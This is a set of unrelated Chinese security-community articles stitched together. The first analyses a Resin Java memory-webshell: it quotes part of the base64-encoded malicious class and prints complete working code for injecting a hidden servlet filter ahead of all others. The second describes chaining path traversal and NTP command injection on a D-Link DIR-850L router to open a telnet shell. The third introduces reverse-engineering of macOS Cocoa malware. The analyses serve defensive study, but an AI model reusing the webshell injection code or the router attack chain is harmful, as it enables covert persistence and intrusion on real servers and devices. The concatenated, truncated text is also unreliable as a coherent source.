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";
作者给出的是一串`base64`编码，解码后直接是对应内存马的class文件；可以直接使用idea自带的反编译查看源码
恶意代码为`Overbrilliantly`：包含了一个构造器、两个静态变量和 static 静态代码块
主要逻辑static静态代码块中，样本字符串解密如原文描述类似：”字符串加密为xor，长度为7，加密后的字符串第一位为本次待解密字符串的长度”。我们的目的是为了能够还原`resin`
内存马，`debug` 过程直接跳过解密过程，在关键部分进行断点。
`var0` 是前段解密代码还原出来的字符串数组
代码逻辑中利用反射方法 loadCLass 加载了 `com.caucho.server.dispatch.ServletInvovation` ,
`com.caucho.server.dispatch.FilterConfigImpl` 等类，这些是 `resin` 容器的基础类，可以看出这是一个针对
`resin` 容器的内存马，如果要进行debug 还需要引入`resin`依赖或者直接创建一个运行在`resin`上的`web`服务。
## 内存马的主要逻辑
该样本(resin)和其他容器`filter` 型内存马类似，创建 `filter`，添加 `filterConfigImpl`
实例，添加`filterMapping` 路由映射。
### 创建 filter
在反射加载完必要的依赖`class`之后，该样本调用
`java.uti.Base64$decoder/javax.xml.bind.DatatypeConverter.parseBase64Binary`对字符串
var17 进行解码；然后使用 `defineClass` 类加载器进行了加载，其中 var17
字符串就是样本构建的恶意`filter`类的`base64`编码，类名 `PseudodramaticallyFilter`。
### 创建并添加 filterConfigImpl 实例
在加载恶意 `filter`之后 `PseudodramaticallyFilter`, 通过 `newInstance` 创造类实例， 并调用反射方法
`setFilterName` 及利用反射对 `_filterClassName`, `_filterClass` 字段赋值，生成一个
`PseudodramaticallyFilter`的 `filterConfigImpl`实例，然后添加到当前 `WebApp` 中
由于相应`_filterClassName`, `_filterClass` 都有 public 操作方法，可直接显示赋值如下
String newFilterStr = "newfilter";
Filter newFilter = new newfilter();
Class newFiltercls = newFilter.getClass();
FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance();
filterConfigimpl.setFilterName(newFilterStr);
filterConfigimpl.setFilter(newFilter);
filterConfigimpl.setFilterClass(newFiltercls);
webapp.addFilter(filterConfigimpl);
`filterConfigImpl` 实现了 `javax.servlet.FilterConfig` 和
`javax.servlet.FilterRegistration.Dynamic` 接口
动态添加的恶意`filter`模块
### 创建相应 filter 路由映射
通过创建 `FilterMapping` 实例, 并设置相对应的路由，这里可以看见恶意样本是对所有的路径进行匹配
相对应的显示调用源码如下
FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance();
FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
filterMappingUrlpattern.addText("/*");
filterMappingUrlpattern.init();
filterMapping.setFilterName(newFilterStr);
filterMapping.setServletContext(webapp);
### 调整 filter 顺序
在创建filter 实例，添加 `filterConfigImpl`及相应路由之后，样本路由添加到 `WebApp._filerMapper` 和
`WebApp._loginFilterMapper` 中，`_filerMapper` 及 `_loginFilterMapper` 中存放的是
`ArrayList<FilterMapping>` 数组，样本通过创建新的 `ArrayList<FilterMapping>` 并将前序步骤创建的
`filterMapping` 做为首位加入。
Field fieldWebappFilterMapper = null;
try {
fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
}catch (NoSuchFieldException Exception){
fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
}
fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);
ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);
newFilterMappings.add(filterMapping);
int count = 0;
while(count < orginalfilterMappings.size()){
newFilterMappings.add(orginalfilterMappings.get(count));
++ count;
}
fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);
调整之后的 _filterMapper
## 完整的 resin 内存马逻辑
提供一份创建完整的 resin 内存马逻辑
ClassLoader classloader = Thread.currentThread().getContextClassLoader();
Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");
Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null);
WebApp webapp = (WebApp)contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
String newFilterStr = "newfilter";
Filter newFilter = new newfilter();
Class newFiltercls = newFilter.getClass();
FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance();
filterConfigimpl.setFilterName(newFilterStr);
filterConfigimpl.setFilter(newFilter);
filterConfigimpl.setFilterClass(newFiltercls);
webapp.addFilter(filterConfigimpl);
FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance();
FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
filterMappingUrlpattern.addText("/abcd");
filterMappingUrlpattern.init();
filterMapping.setFilterName(newFilterStr);
filterMapping.setServletContext(webapp);
//set filtterMapper
Field fieldWebappFilterMapper = null;
try {
fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
}catch (NoSuchFieldException Exception){
fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
}
fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);
ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);
newFilterMappings.add(filterMapping);
int count = 0;
while(count < orginalfilterMappings.size()){
newFilterMappings.add(orginalfilterMappings.get(count));
++ count;
}
fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);
//set loginFilterMapper
Field fieldWebappLoginFilterMapper = null;
try{
fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper");
}catch (NoSuchFieldException Exception){
fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper");
}
fieldWebappLoginFilterMapper.setAccessible(true);
FilterMapper loginFilterMapper = (FilterMapper)fieldWebappLoginFilterMapper.get(webapp);
ArrayList<FilterMapping> orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper);
ArrayList<FilterMapping> newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1);
newLoginFilterMappings.add(filterMapping);
count = 0;
while( count < orginLoginFilterMappings.size()){
newLoginFilterMappings.add(orginLoginFilterMappings.get(count));
++ count;
}
fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings);
fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper);
webapp.getClass().getMethod("clearCache").invoke(webapp);
## 加载的的 filter 说明
对前序加载的`filter`字串进行base64解码及反编译，是一个实现了`filter`接口的自定义`filter`,全限定名为`com.caucho.filters.PseudodramaticallyFilter.class`
，利用`com.caucho.filters` resin 依赖进行伪装，`PseudodramaticallyFilter`翻译为`明显假的filter`
类结构如下图所示，`defineClass` 加载类时会调用static静态代码块，对字符串进行解密。
在 `dofilter` 模块，写明的匹配处理逻辑
样本使用`User-Agent`头做为匹配字符串 `Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/531.26 (KHTML, like Gecko) Chrome/86.0.4240.138 Safari/531.26`,
使用AES 加密会话，然后进行 `base64` 解码及类加载运行。
该`User-Agent`虽然在格式上和`Chrome`浏览器相同，但是未在`https://user-agents.net/`查询到相应的版本，隐蔽效果拔群。
## 备注
样本后续还进行了创建文件(/tmp/com/filters/PseudodramaticallyFilter.class:可以做为自查指标)，自删除等一些列操作，众位看官可自行分析
## 参考连接
1. [java恶意样本调试指南](https://mp.weixin.qq.com/s/yvEHxhsedSwB12PTcQ5aRg) | 社区文章 |
### 0x00 背景
2017年6月11日hack2Win(网络设备黑客竞赛)举办首届线上比赛，参赛选手可以通过互联网连入D-Link
Dir-850L路由器然后黑掉它，其中有一名选手实现了远程任意代码执行。D-Link官方在7月27日推出了Dir-850L
路由器1.47B07版本的补丁，地址:<http://support.dlink.com/ProductInfo.aspx?m=DIR-850L>。
现今公布了Hack2Win竞赛中提交的3个漏洞的相关细节，地址:<https://blogs.securiteam.com/index.php/archives/3364>。
* 通过广域网或局域网实现远程代码执行
* 通过广域网或局域网实现远程未授权信息泄露
* 通过局域网实现root用户远程代码执行
这里仅仅分析远程命令执行的漏洞。
### 0x01 获取源码
D-Link Dir-850L 路由器的固件可以从官方下载获取，这里下载1.14.B07版本的固件，地址:
ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP。下载固件并解压后，我们得到固件文件DIR850LA1_FW114b07WW.bin,利用binwalk提取固件内容。
上图可以看到该固件采用的是Squashfs文件系统，从binwalk解压出的文件中找到190090.squashfs文件，然后继续用binwalk提取，得到如下内容
可以看出这是一个标准的linux文件根目录。我们需要关注的是处理web服务的程序，该程序开启各种服务端口，并且为外部访问提供配置，修改等服务，文件存在于htdocs目录下,
其中应用层的服务是用PHP语言编写，也是本次分析需要重点关注的地方。
### 0x03 分析远程命令执行漏洞
要成功利用远程代码执行漏洞，需要组合未授权任意文件上传漏洞和命令注入漏洞才能实现。
未授权任意文件上传漏洞利用`hedwig.cgi`上传xml文件，获取管理员用户名和密码。当管理员接口设置改变时，会将改变的设置以xml的格式发送给`hedwig.cgi`，`hedwig.cgi`会调用`htdocs/webinc/fatlady.php`去载入设置。`fatlady.php`核心代码如下:
foreach ($prefix."/postxml/module")
{
del("valid");
if (query("FATLADY")=="ignore") continue;
$service = query("service");
if ($service == "") continue;
TRACE_debug("FATLADY: got service [".$service."]");
$target = "/htdocs/phplib/fatlady/".$service.".php";
$FATLADY_prefix = $prefix."/postxml/module:".$InDeX;
$FATLADY_base = $prefix."/postxml";
if (isfile($target)==1) dophp("load", $target);
可以看出，`fatlady.php`直接将xml文件中的service拼接在了路径中，没有做任何校验，然后直接加载文件，加载的文件以’.php’结尾，那么可以构造service为`../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml`
读取用户名和密码。
有了用户名和密码，可以登录，然后利用NTP服务器的命令注入漏洞实现命令执行。命令注入漏洞发生在`/etc/services/DEVICE.TIME.php`文件,
核心代码如下：
/* NTP ... */
$enable = query("/device/time/ntp/enable");
if($enable=="") $enable = 0;
$enablev6 = query("/device/time/ntp6/enable");
if($enablev6=="") $enablev6 = 0;
$server = query("/device/time/ntp/server");
$period = query("/device/time/ntp/period"); if ($period=="") $period="604800";
$period6 = query("/device/time/ntp6/period"); if ($period6=="") $period6="604800";
$ntp_run = "/var/run/ntp_run.sh";
if ($enable==1 && $enablev6==1)
{
if ($server=="") fwrite(a, $START, 'echo "No NTP server, disable NTP client ..." > /dev/console\n');
else
{
fwrite(w, $ntp_run, '#!/bin/sh\n');
fwrite(a, $ntp_run,
'echo "Run NTP client ..." > /dev/console\n'.
'echo [$1] [$2] > /dev/console\n'.
'STEP=$1\n'.
'RESULT="Null"\n'.
'xmldbc -s /runtime/device/ntp/state RUNNING\n'.
'SERVER4='.$server.'\n'.
'SERVER6=`xmldbc -g /runtime/device/ntp6/server | cut -f 1 -d " "`\n'.
'if [ "$STEP" == "V4" ]; then\n'.
' xmldbc -t "ntp:'.$period.':'.$ntp_run.' $STEP"\n'.
' echo "ntpclient -h $SERVER4 -i 5 -s -4" > /dev/console\n'.
' ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'.
可以看出通过`$server`变量直接拼接在了命令执行的代码中，没有做任何校验，存在命令注入。那么需要构造恶意的`service`数据，方法同获取用户的用户名和密码方式相似。首先，获取DEVICE.TIME服务的xml文件格式
根据得到的xml文件格式，构造数据发送给`hedwig.cgi`加载服务, 设置服务enable=1,
server为恶意命令，在23090端口开启telnetd服务。
最后设置加载的服务生效，向`pigwidgeon.cgi`发送激活请求。
服务激活后，telnet远程连接23090端口测试。
### 0x04 防御方案
官方针对此次漏洞已经推出了补丁，推荐下载官方补丁更新，详情:<http://support.dlink.com/ProductInfo.aspx?m=DIR-850L>。或者，开启防火墙，禁止外网访问web服务，降低被黑的风险。
### 0x05 后记
针对公布的Dir-850L路由器漏洞，官方发布了相应的补丁，但是Dir系列其他的路由器是否存在同样漏洞呢？测试Dir-815路由器，发现存在相同漏洞的，然而官方并没有及时推出补丁，地址:
<http://support.dlink.com/ProductInfo.aspx?m=DIR-815>。根据以往Dir系列爆出的漏洞来看，猜测D-Link
Dir系列多数路由器都是受该漏洞影响，建议大家开启路由器防火墙，禁止外网访问web服务或设置访问地址白名单，以此降低被黑的风险，同时多关注官方的动态和安全补丁的发布，及时更新固件。
### 0x06 参考
* <https://blogs.securiteam.com/index.php/archives/3310>
* <https://blogs.securiteam.com/index.php/archives/3364>
* <http://support.dlink.com/ProductInfo.aspx?m=DIR-850L> | 社区文章 |
# 【技术分享】Cocoa应用逆向工程简介
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/03/introduction_to_reve.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[机车复古侠](http://bobao.360.cn/member/contribute?uid=38652219)
预估稿费：160RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**Cocoa应用逆向工程简介**
虽然不像Windows平台上恶意软件那么常见，但是在OS
X操作系统上，这几年恶意软件还是保持着相当稳定的出勤率。二月份就有三篇专门介绍macOS恶意软件的文章发表：一篇介绍了一款发送包含keychain数据在内的系统信息给攻击者的Cocoa木马程序，另外两篇分别描述了一款macOS版本的APT28
Xagent恶意软件和一款新的木马勒索软件。
在本文中，FLARE团队将会介绍两款小工具。可以为macOS上的Cocoa应用逆向工程提供帮助。为了更好的介绍这些工具，我们会先给读者介绍一些特定苹果主题的基础知识。比如，我们会解释Objective-C的Runtime特性如何使得代码分析在诸如IDA Pro工具中变得复杂，以及如何在一份Cocoa应用程序的代码中找到开始分析的入口点。
如果你对这个主题很感兴趣或者你希望在你自己的环境中更好的研究macOS恶意软件，可以来参加我们今年在Black Hat Asia和Black Hat
USA举办的两日快速课程。
**Cocoa应用剖析**
当我们说到名词“Cocoa应用”时，我们一般指使用AppKit
framework构建的程序，属于苹果公司所指的Cocoa应用层。在macOS中，应用程序都部署在应用bundle包里面。这是一个包含可执行代码和相关资源的目录结构文件，如图1所示。
图1：iTerm应用bundle包的目录结构
bundle包里面可以包含多种不同的文件，但是所有的bundle包里面至少必须含有两个关键文件：Info.plist和一个在MacOS文件夹里面的可执行文件。这个可执行文件可以是任何允许执行的文件，甚至是一个python或者shell脚本，但是通常是一个原生可执行文件。Mach-O是这种原生可执行文件macOS和iOS平台中的文件格式。Info.plist文件用以描述应用bundle包，包含系统加载bundle包时需要的关键信息。Plist文件可以是XML，JSON或者一个叫bplist的专用二进制格式这三种格式中的一种。在macOS上有一个方便实用的工具叫plutil。它可以转换plist文件的格式，或者轻松的打印plist文件，而不论是什么格式。Info.plsit文件里面最重要的属性就是CFBundleExecutable。它来指定MacOS文件夹里面将会被执行的可执行文件名。图2显示的是用plutil工具打印出的iTerm应用的Info.plist文件信息。
图2 iTerm应用的Info.plist文件信息
**Objective-C**
Cocoa应用基本都是用Objective-C或者Swift语言编写的。Swift是这两种语言中更新的那一个，正迎头赶上甚至已经快超过Objective-C了。尽管如此，Objective-C历史要比Swift要早很多年，这意味着现在你将运行的恶意Cocoa应用都是实用Objective-C语言编写的。此外，在进行恶意软件分析时会遇到版本更旧的Objective-C
API。这都是由恶意软件的年龄或者出于向前兼容的目的造成的。Objective-C是一种动态反射型编程语言，拥有runtime特性。大约10年前，Objective-C
2.0版本面世，在语言和runtime特性上都有很大的变化。本文中讲述的细节都是针对的2.0版本。
在编译时，Objective-C编写的程序会被转化为C，这对于大多数逆向工程师来说至少过渡起来会更舒服些。在过渡时最大的障碍就是Objective-C中method是如何被调用的。Objective-C
method在概念上和C函数差不多；他们都是一段执行特定任务的代码，可能伴有输入参数和返回值。但是，由于Objective-C的动态特性，method一般不是被直接调用的。而是通过一个发给对象的消息。一个method的名字称为一个selector，真正执行的函数被称为一个实现（implementation）。消息定义一个被调用selector的reference，同时给出一些method的参数。这就为一些特性的实现提供了支持，比如“method
swizzling”，该特性允许应用可以替换一个给定的selector的具体实现。在Objective-C应用中最常用的发送消息方式就是objc_msgSend函数。图3显示了一个段在浏览器中打开URL的代码片段。图4给出了同一段代码的C实现。
图3 Objective-C代码片段
图4 Objective-C代码的等价C代码
如你所见，在方括号中的Objective-C代码相当于一个objc_msgSend函数调用。
不幸的是，消息发送机制导致了在IDA Pro中寻找selectors的cross-references时会遇到问题。你很容易发现，从任何地方对一个特定selector进行关联的所有cross-reference，实现都不会被直接调用或者被关联，所以没有一种简单的方法来直接从一个selector关联跳转到它的实现，反之亦然。图5对这个问题进行了演示，图中一个实现的唯一的cross-reference是在可执行文件的__objc_const节中，这是runtime用来保存类成员数据的地方。
图5 一个方法实现的cross-reference
当然，连接selector references和它们实现的信息是保存可执行文件中的，谢谢IDA
Pro为我们分析了这些数据。在__objc_const节中，IDA Pro识别出该结构并定义为__objc2_meth。如图6所示。
图6 __objc2_meth结构
该结构的第一个值是指向method的selector。该值的cross-references中的一项将我们带到了可执行文件__objc_selrefs节，这个节中你可以找到selector
reference。跟随该selector reference的cross-references我们可以在代码中找到任何selector被使用的位置。该结构的第三个值指向selector的实现，就是我们想要分析的函数。剩下要做的就是利用这个数据生成cross-references。我们要介绍的两个工具的第一个名叫objc2_xrefs_helper.py的IDAPython脚本就是专门用来做这项工作的，针对Objective-C
2.0版的x86_64 Mach-O可执行文件。这个脚本与之前的IPAPython scripts released by
Zynamics很相似，但是那个不支持x86_64构架。我们的脚本和我们其他所有IDA脚本和插件都可以从我们的Github上获得。objc2_xrefs_helper.py针对可执行文件中的每一个定义的Objective-C
method都会进行处理。交叉引用method的selector来引用实现函数本身，并创建一个从引用指令到实现函数的cross-reference。使用这个脚本可以让我们轻松的从一个selector的实现函数跳转到它的references，反之亦然。图7和图8进行了说明。
图7: 实现的cross-references
图8: 从selector的引用处查看它的实现
然而，这个工具有一个显著的缺点，如果几个类使用同一个名字来定义method，那么只会有一个selector在可执行文件中显示。现在，该工具会忽略这些不明确的selector。
**Cocoa应用－从哪里开始着手？**
另外一个Cocoa应用，或者说是任何从一个framework构建而来的程序，的逆向工程的难点就是如何判断哪里是作者代码的开始，哪里又是framework代码的结束。使用C/C++编写的程序，作者的代码几本都是从main函数开始。但是这条规则有许多例外，这里就是这种情况。使用Apple
IDE Xcode的Cocoa应用模版生成的应用，main函数只是在结尾处执行一个跳转到AppKit
framework导出的NSApplicationMain函数处。见图9.
图9： 一个Cocoa应用的main函数
那么我们如何找到程序作者写的第一行执行代码呢？答案就在NSApplicationMain里面。整体来说，NSApplicationMain执行三个重要步骤：构建NSApplication对象，加载主要的storyboard或nib文件，开始事件循环。NSApplication对象在程序运行时扮演重要的事件和通知协调者的角色。NSApplicationMain在应用的bundle包里的Info.plist文件中的NSPrincipalClass元素中寻找该对象类的名字。Xcode仅仅设置该元素到NSApplication类，但是这个累可能是子类或重写guo。NSApplication对象可以定位的一个重要的通知就是NSApplicationDidFinishLaunchingNotification。这个通知用来让程序员可以在合适的时候运行应用特殊的初始化代码。为了处理这个通知，应用程序需要指定根据NSApplicationDelegate协议来指定一个委托类。在Objective-C中，一个协议(protocol)扮演着传统面向对象说法里面的接口。在这个协议中包含初始化代码的对应method就是applicationDidFinishLaunching。Xcode默认为你创建这个委托类，名叫AppDelegate。同时还定义了一个空的applicationDidFinishLaunching
method来让开发者在需要时进行更新。掌握了这些知识，那么最好的寻找大多数Cocoa应用的初始化代码的地方就是applicationDidFinishLaunching。如图10所示。
图10: 搜索applicationDidFinishLaunching方法
如果你找不到有用的信息，那么就返回研究main函数。需要指出的是所有这些信息都是针对利用Xcode
Cocoa应用模版生成的应用的。Cocoa应用可以不需要使用NSApplicationMain。程序员可以编写改编实现他自己的NSApplicationMain来生成Cocoa应用。
**接口构建器（Interface Builder）和Nib文件**
之前已经提到NSApplicationMain的任务之一就是加载主要的storyboard和nib文件。"Nib"是NeXTSTEP Interface
Builder的缩写。指的是Xcode的组件之一界面生成器。界面生成器可以让开发者轻松的编辑图形用户接口，还可以通过使用图形接口的代码连接控件到变量和方法。当一个用户使用界面生成器生成GUI时，对象的图形就会自动生成。一个对象图形将以XML格式保存在工程文件夹的一个.xib文件中。当编译生成工程时，每一个对象图形通过NSKeyedArchiver类进行序列化，保存在应用bundle包的一个.nib文件中，一般在Resources文件夹下。Xcode将主nib文件的名字写到应用Info.plist文件的NSMainNibFile元素中。当一个应用加载一个nib文件时，对象依次解压到内存中，所有GUI窗口，目录，控件，变量和方法之间的连接关系都被建立起来。这个连接清单包括程序委托和NSApplication类之间的连接。Storyboards是在Yosemite加入到macOS中的。它允许开发者列出所有展示给用户的应用变量视图，并说明它们之间的关系。在底层，一个storyboard就是一个包含一组nib文件和一个Info.plist文件的目录。主storyboard目录保存在应用的Info.plist文件的NSMainStoryboardFile元素中。
下面带给大家另外一个我们分享的工具，nib_parse.py,在我们的Github上可以下载。nib_parse.py使用ccl_bplist来解码和反序列化一个nib文件，打印出里面定义的连接关系列表。对于每个连接，它将会打印出连接的标签（一般是一个方法或者变量名字），源对象的类，目标对象的类。每一个对象都被NSKeyedArchiver编码，并分配一个唯一的数字标识符，该标识符输出在圆括号里面。对于某些GUI组件还会一起打印出文本信息，比如按键标签，文本信息输出在方括号中。通过这些信息，就可以认清代码和GUI组件之间的关系。甚至可以重写程序，改变GUI事件的处理函数。注意，如果一个nib不是平坦的，它就会被展示为一个包含nib文件的目录，你可以继续运行这个工具在keyedobjects.nib文件替换它的路径位置。对于storyboard文件，你可以对storyboard目录中的每个nib文件运行这个工具。图11中显示的是运行nib_parse.py在最近发现的MacDownloader威胁（图12所示）中的MainMenu.nib上的结果。你可能注意到了工具输出的GUI文本与截屏中的GUI文本不符。这种情况是因为很多GUI组件在运行时被代码修改。如图13所示。
图11: nib_parse.py对MacDownloader threat的输出
图12:MacDownloader的初始化窗口
图13:代码对按键文本进行更新
nib_parse.py的输出表明作者使用了Xcode提供了的默认委托类AppDelegate。AppDelegate类含有两个NSButton对象实例和四个NSTextField对象实例。一个名叫btnSearchAdware的selector连接到了一个拥有实例变量btnAction的button控件（id
49）。这就是一个值得去分析函数。
**总结**
希望你们能从这次旋风之旅般的Cocoa应用逆向工程简介中获得乐趣。如果你还有更多兴趣在深入macOS内部，分析工具的使用，逆向工程，调试技术和发现探索未知macOS恶意软件等方面，就来参加今年的Black
Hat吧！ | 社区文章 |
Subsets and Splits